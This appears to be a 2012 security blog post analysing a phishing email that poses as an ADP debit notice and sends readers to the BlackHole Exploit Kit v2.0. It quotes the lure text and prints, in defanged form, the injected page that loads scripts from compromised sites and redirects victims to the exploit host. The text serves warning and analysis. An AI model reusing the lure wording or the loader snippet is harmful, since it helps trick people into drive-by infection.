Today, One of our visitor informed about an ADP notification spam mail which is similar to a spam mail intercepted by Mx Lab. Few months back, MX Lab intercepted a spam mail that leads to the BlackHole.
If the recipient click the link, it will leads to a "hxxp://www.smilek**.com/gc4pLf0n/index.html". The site is infected and has the following script :
After further analysis, i found that the IP hosts the latest version of BlackHole Exploit kit (v2.0).
We have to thank our visitor "David Gosche" for reporting about this email. If you also have received these kind of spam mails, feel free to report to us.
"Your Transaction Report(s) have been uploaded to the web site: https://www.flexdirect.adp.com/client/login.aspx .The mail displays the original link but actually it is hyper link to malicious page. A small trick by cyber criminals in order to lure recipient into believing the e-mail is legitimate.
Please note that your bank account will be debited within one banking business day for the amount(s) shown on the report(s).
Please do not respond or reply to this automated e-mail. If you have any questions or comments, please Contact your ADP Benefits Specialist.
Thank You, ADP Benefit Services"
If the recipient click the link, it will leads to a "hxxp://www.smilek**.com/gc4pLf0n/index.html". The site is infected and has the following script :
The above code loads javascript from three different domain. But all domains has the same script inside the file : "document.location='hxxp://209.59.*.*/links/deep_recover-result.php';" . It is code for redirecting the page to 209.59.**.
<html>
<h1>WAIT PLEASE</h1>
<h3>Loading...</h3>
<script type="text/javascript" src="hxxp://www.arm**ies.com.ar/QbCwcwN5/js.js"></script>
<script type="text/javascript" src="hxxp://remotepcs**rity.net/0RUuWs5o/js.js"></script>
<script type="text/javascript" src="hxxp://www.ski**ll.net/p10h6Ldg/js.js"></script>
</html>
After further analysis, i found that the IP hosts the latest version of BlackHole Exploit kit (v2.0).
We have to thank our visitor "David Gosche" for reporting about this email. If you also have received these kind of spam mails, feel free to report to us.
![](https://pinterest.com/pin/create/bookmarklet/?media=https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfQkDPHGjUpkFgeQZ8HTf5pZFygwPBhytWTP3pzxGtTh66W-9aFjpu6rruv6NTzLBqxjHsxdEjkJXLqQm3vyn_Z5aUZrDjSQNfhSHNyAorEyqWGVnaVNCQOj0_NmWOLPHXPIxC3EE3Rcs/s1600/black-hole.png&url=https://www.cysecurity.news/2012/09/adp-spam-mail-leads-to-blackhole-exploit.html?m=1&description="ADP Funding Notification – Debit Draft" mail leads to BlackHole Exploit v2.0){kind=link}